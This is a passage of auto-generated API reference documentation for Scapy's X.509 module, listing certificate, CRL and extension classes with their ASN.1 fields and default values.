	




	
aliastypes

	




	
fields_desc

	
X509_Attribute fields






	type

	ASN1F_OID

	<ASN1_OID['countryName']>



	values

	ASN1F_SET_OF

	[<X509_AttributeValue  |>]















	
class scapy.layers.x509.X509_AttributeTypeAndValue(_pkt, /, *, type=<ASN1_OID['countryName']>, value=<ASN1_PRINTABLE_STRING['FR']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L198-L203]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.layers.x509.ASN1F_X509_DirectoryString object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_AttributeTypeAndValue fields






	type

	ASN1F_OID

	<ASN1_OID['countryName']>



	value

	ASN1F_X509_DirectoryString

	<ASN1_PRINTABLE_STRING['FR']>















	
class scapy.layers.x509.X509_AttributeValue(_pkt, /, *, value=<ASN1_PRINTABLE_STRING['FR']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L181-L186]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
X509_AttributeValue fields






	value

	ASN1F_CHOICE

	<ASN1_PRINTABLE_STRING['FR']>















	
class scapy.layers.x509.X509_CRL(_pkt, /, *, tbsCertList=<X509_TBSCertList  signature=<X509_AlgorithmIdentifier  |> issuer=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Issuer']> |>] |>] |>, signatureAlgorithm=<X509_AlgorithmIdentifier  |>, signatureValue=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1072-L1074]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_X509_CRL(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.fields.MultipleTypeField object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_CRL fields






	tbsCertList

	ASN1F_PACKET

	<X509_TBSCertList  signature=<X509_AlgorithmIdentifier  |> issuer=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Issuer']> |>] |>] |>



	signatureAlgorithm

	ASN1F_PACKET

	<X509_AlgorithmIdentifier  |>



	signatureValue

	MultipleTypeField (ASN1F_BIT_STRING_ENCAPS, ASN1F_BIT_STRING)

	<ASN1_BIT_STRING[0110010001...1001100101]=b'defaultsig...tsignature' (0 unused bit)>















	
class scapy.layers.x509.X509_Cert(_pkt, /, *, tbsCertificate=<X509_TBSCertificate  signature=<X509_AlgorithmIdentifier  |> issuer=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Issuer']> |>] |>] validity=<X509_Validity  |> subject=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Subject']> |>] |>] subjectPublicKeyInfo=<X509_SubjectPublicKeyInfo  |> extensions=[<X509_Extension  extnValue=<X509_ExtBasicConstraints  |> |>] |>, signatureAlgorithm=<X509_AlgorithmIdentifier  |>, signatureValue=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L989-L991]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_X509_Cert(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.fields.MultipleTypeField object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_Cert fields






	tbsCertificate

	ASN1F_PACKET

	<X509_TBSCertificate  signature=<X509_AlgorithmIdentifier  |> issuer=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Issuer']> |>] |>] validity=<X509_Validity  |> subject=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Subject']> |>] |>] subjectPublicKeyInfo=<X509_SubjectPublicKeyInfo  |> extensions=[<X509_Extension  extnValue=<X509_ExtBasicConstraints  |> |>] |>



	signatureAlgorithm

	ASN1F_PACKET

	<X509_AlgorithmIdentifier  |>



	signatureValue

	MultipleTypeField (ASN1F_BIT_STRING_ENCAPS, ASN1F_BIT_STRING)

	<ASN1_BIT_STRING[0110010001...1001100101]=b'defaultsig...tsignature' (0 unused bit)>















	
class scapy.layers.x509.X509_DNSName(_pkt, /, *, dNSName=<ASN1_IA5_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L227-L229]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_IA5_STRING object>

	




	
aliastypes

	




	
fields_desc

	
X509_DNSName fields






	dNSName

	ASN1F_IA5_STRING

	<ASN1_IA5_STRING['']>















	
class scapy.layers.x509.X509_DirectoryName(_pkt, /, *, directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L252-L255]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF directoryName>

	




	
aliastypes

	




	
fields_desc

	
X509_DirectoryName fields






	directoryName

	ASN1F_SEQUENCE_OF

	[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>]















	
class scapy.layers.x509.X509_EDIPartyName(_pkt, /, *, nameAssigner=None, partyName=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L258-L265]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.layers.x509.ASN1F_X509_DirectoryString object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_EDIPartyName fields






	nameAssigner

	ASN1F_X509_DirectoryString

	None



	partyName

	ASN1F_X509_DirectoryString

	None















	
class scapy.layers.x509.X509_ExtAuthInfoAccess(_pkt, /, *, authorityInfoAccess=[<X509_AccessDescription  accessLocation=<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |> |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L623-L627]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF authorityInfoAccess>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtAuthInfoAccess fields






	authorityInfoAccess

	ASN1F_SEQUENCE_OF

	[<X509_AccessDescription  accessLocation=<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |> |>]















	
class scapy.layers.x509.X509_ExtAuthorityKeyIdentifier(_pkt, /, *, keyIdentifier=<ASN1_STRING[b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff']>, authorityCertIssuer=None, authorityCertSerialNumber=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L308-L320]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtAuthorityKeyIdentifier fields






	keyIdentifier

	ASN1F_STRING

	<ASN1_STRING[b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff']>



	authorityCertIssuer

	ASN1F_SEQUENCE_OF

	None



	authorityCertSerialNumber

	ASN1F_INTEGER

	None















	
class scapy.layers.x509.X509_ExtBasicConstraints(_pkt, /, *, cA=False <ASN1_BOOLEAN[False]>, pathLenConstraint=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L425-L432]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtBasicConstraints fields






	cA

	ASN1F_BOOLEAN

	False <ASN1_BOOLEAN[False]>



	pathLenConstraint

	ASN1F_INTEGER

	None















	
class scapy.layers.x509.X509_ExtCRLDistributionPoints(_pkt, /, *, cRLDistributionPoints=[<X509_ExtDistributionPoint  distributionPoint=<X509_ExtDistributionPointName  |> |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L596-L600]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF cRLDistributionPoints>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtCRLDistributionPoints fields






	cRLDistributionPoints

	ASN1F_SEQUENCE_OF

	[<X509_ExtDistributionPoint  distributionPoint=<X509_ExtDistributionPointName  |> |>]















	
class scapy.layers.x509.X509_ExtCRLNumber(_pkt, /, *, cRLNumber=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L435-L437]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_INTEGER object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtCRLNumber fields






	cRLNumber

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.x509.X509_ExtCertificateIssuer(_pkt, /, *, certificateIssuer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L485-L487]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF certificateIssuer>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtCertificateIssuer fields






	certificateIssuer

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.x509.X509_ExtCertificatePolicies(_pkt, /, *, certificatePolicies=[<X509_ExtPolicyInformation  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L589-L593]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF certificatePolicies>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtCertificatePolicies fields






	certificatePolicies

	ASN1F_SEQUENCE_OF

	[<X509_ExtPolicyInformation  |>]















	
class scapy.layers.x509.X509_ExtComment(_pkt, /, *, comment=<ASN1_UTF8_STRING['Dummy comment.']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L657-L662]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtComment fields






	comment

	ASN1F_CHOICE

	<ASN1_UTF8_STRING['Dummy comment.']>















	
class scapy.layers.x509.X509_ExtDefault(_pkt, /, *, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L665-L667]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_field object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtDefault fields






	value

	ASN1F_field

	None















	
class scapy.layers.x509.X509_ExtDeltaCRLIndicator(_pkt, /, *, deltaCRLIndicator=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L458-L460]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_INTEGER object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtDeltaCRLIndicator fields






	deltaCRLIndicator

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.x509.X509_ExtDistributionPoint(_pkt, /, *, distributionPoint=<X509_ExtDistributionPointName  |>, reasons=None, cRLIssuer=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L364-L378]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtDistributionPoint fields






	distributionPoint

	ASN1F_PACKET

	<X509_ExtDistributionPointName  |>



	reasons

	ASN1F_FLAGS

	None



	cRLIssuer

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.X509_ExtDistributionPointName(_pkt, /, *, distributionPointName=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L347-L350]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtDistributionPointName fields






	distributionPointName

	ASN1F_CHOICE

	None















	
class scapy.layers.x509.X509_ExtExtendedKeyUsage(_pkt, /, *, extendedKeyUsage=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L540-L546]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF extendedKeyUsage>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtExtendedKeyUsage fields






	extendedKeyUsage

	ASN1F_SEQUENCE_OF

	[]











	
get_extendedKeyUsage()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L544-L546]

	








	
class scapy.layers.x509.X509_ExtFreshestCRL(_pkt, /, *, cRLDistributionPoints=[<X509_ExtDistributionPoint  distributionPoint=<X509_ExtDistributionPointName  |> |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L608-L612]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF cRLDistributionPoints>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtFreshestCRL fields






	cRLDistributionPoints

	ASN1F_SEQUENCE_OF

	[<X509_ExtDistributionPoint  distributionPoint=<X509_ExtDistributionPointName  |> |>]















	
class scapy.layers.x509.X509_ExtFullName(_pkt, /, *, fullName=[<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L335-L338]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF fullName>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtFullName fields






	fullName

	ASN1F_SEQUENCE_OF

	[<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |>]















	
class scapy.layers.x509.X509_ExtGeneralSubtree(_pkt, /, *, base=<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |>, minimum=None, maximum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L505-L513]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtGeneralSubtree fields






	base

	ASN1F_PACKET

	<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |>



	minimum

	ASN1F_INTEGER

	None



	maximum

	ASN1F_INTEGER

	None















	
class scapy.layers.x509.X509_ExtInhibitAnyPolicy(_pkt, /, *, skipCerts=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L603-L605]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_INTEGER object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtInhibitAnyPolicy fields






	skipCerts

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.x509.X509_ExtInvalidityDate(_pkt, /, *, invalidityDate=240415130453Z [invalid generalized time] <ASN1_GENERALIZED_TIME['240415130453Z']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L490-L492]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtInvalidityDate fields






	invalidityDate

	ASN1F_GENERALIZED_TIME

	240415130453Z [invalid generalized time] <ASN1_GENERALIZED_TIME['240415130453Z']>















	
class scapy.layers.x509.X509_ExtIssuerAltName(_pkt, /, *, issuerAltName=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L500-L502]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF issuerAltName>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtIssuerAltName fields






	issuerAltName

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.x509.X509_ExtIssuingDistributionPoint(_pkt, /, *, distributionPoint=<X509_ExtDistributionPointName  |>, onlyContainsUserCerts=False <ASN1_BOOLEAN[False]>, onlyContainsCACerts=False <ASN1_BOOLEAN[False]>, onlySomeReasons=None, indirectCRL=False <ASN1_BOOLEAN[False]>, onlyContainsAttributeCerts=False <ASN1_BOOLEAN[False]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L463-L482]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_BOOLEAN object>, <scapy.asn1fields.ASN1F_BOOLEAN object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_BOOLEAN object>, <scapy.asn1fields.ASN1F_BOOLEAN object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtIssuingDistributionPoint fields






	distributionPoint

	ASN1F_PACKET

	<X509_ExtDistributionPointName  |>



	onlyContainsUserCerts

	ASN1F_BOOLEAN

	False <ASN1_BOOLEAN[False]>



	onlyContainsCACerts

	ASN1F_BOOLEAN

	False <ASN1_BOOLEAN[False]>



	onlySomeReasons

	ASN1F_FLAGS

	None



	indirectCRL

	ASN1F_BOOLEAN

	False <ASN1_BOOLEAN[False]>



	onlyContainsAttributeCerts

	ASN1F_BOOLEAN

	False <ASN1_BOOLEAN[False]>















	
class scapy.layers.x509.X509_ExtKeyUsage(_pkt, /, *, keyUsage=<ASN1_BIT_STRING[101]=b'\xa0' (5 unused bits)>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L392-L397]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_FLAGS object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtKeyUsage fields






	keyUsage

	ASN1F_FLAGS

	<ASN1_BIT_STRING[101]=b'\xa0' (5 unused bits)>











	
get_keyUsage()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L396-L397]

	








	
class scapy.layers.x509.X509_ExtNameConstraints(_pkt, /, *, permittedSubtrees=None, excludedSubtrees=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L516-L526]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtNameConstraints fields






	permittedSubtrees

	ASN1F_SEQUENCE_OF

	None



	excludedSubtrees

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.X509_ExtNameRelativeToCRLIssuer(_pkt, /, *, nameRelativeToCRLIssuer=<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L341-L344]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_PACKET object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtNameRelativeToCRLIssuer fields






	nameRelativeToCRLIssuer

	ASN1F_PACKET

	<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>















	
class scapy.layers.x509.X509_ExtNetscapeCertType(_pkt, /, *, netscapeCertType=<ASN1_BIT_STRING[]=b'' (0 unused bit)>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L652-L654]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_BIT_STRING object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtNetscapeCertType fields






	netscapeCertType

	ASN1F_BIT_STRING

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>















	
class scapy.layers.x509.X509_ExtNoticeReference(_pkt, /, *, organization=<ASN1_UTF8_STRING['Dummy Organization']>, noticeNumbers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L549-L556]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_CHOICE object>, <ASN1F_SEQUENCE_OF noticeNumbers>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtNoticeReference fields






	organization

	ASN1F_CHOICE

	<ASN1_UTF8_STRING['Dummy Organization']>



	noticeNumbers

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.x509.X509_ExtPolicyConstraints(_pkt, /, *, requireExplicitPolicy=None, inhibitPolicyMapping=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L529-L537]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtPolicyConstraints fields






	requireExplicitPolicy

	ASN1F_INTEGER

	None



	inhibitPolicyMapping

	ASN1F_INTEGER

	None















	
class scapy.layers.x509.X509_ExtPolicyInformation(_pkt, /, *, policyIdentifier=<ASN1_OID['anyPolicy']>, policyQualifiers=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L580-L586]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtPolicyInformation fields






	policyIdentifier

	ASN1F_OID

	<ASN1_OID['anyPolicy']>



	policyQualifiers

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.X509_ExtPolicyMappings(_pkt, /, *, policyMappings=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L420-L422]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF policyMappings>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtPolicyMappings fields






	policyMappings

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.x509.X509_ExtPolicyQualifierInfo(_pkt, /, *, policyQualifierId=<ASN1_OID['cps']>, qualifier=<ASN1_IA5_STRING['cps_str']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L572-L577]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_CHOICE object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtPolicyQualifierInfo fields






	policyQualifierId

	ASN1F_OID

	<ASN1_OID['cps']>



	qualifier

	ASN1F_CHOICE

	<ASN1_IA5_STRING['cps_str']>















	
class scapy.layers.x509.X509_ExtPrivateKeyUsagePeriod(_pkt, /, *, notBefore=2024-04-14 12:54:53 UTC <ASN1_GENERALIZED_TIME['20240414125453Z']>, notAfter=2024-04-15 13:04:53 UTC <ASN1_GENERALIZED_TIME['20240415130453Z']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L400-L410]

	Bases: ASN1_Packet


	
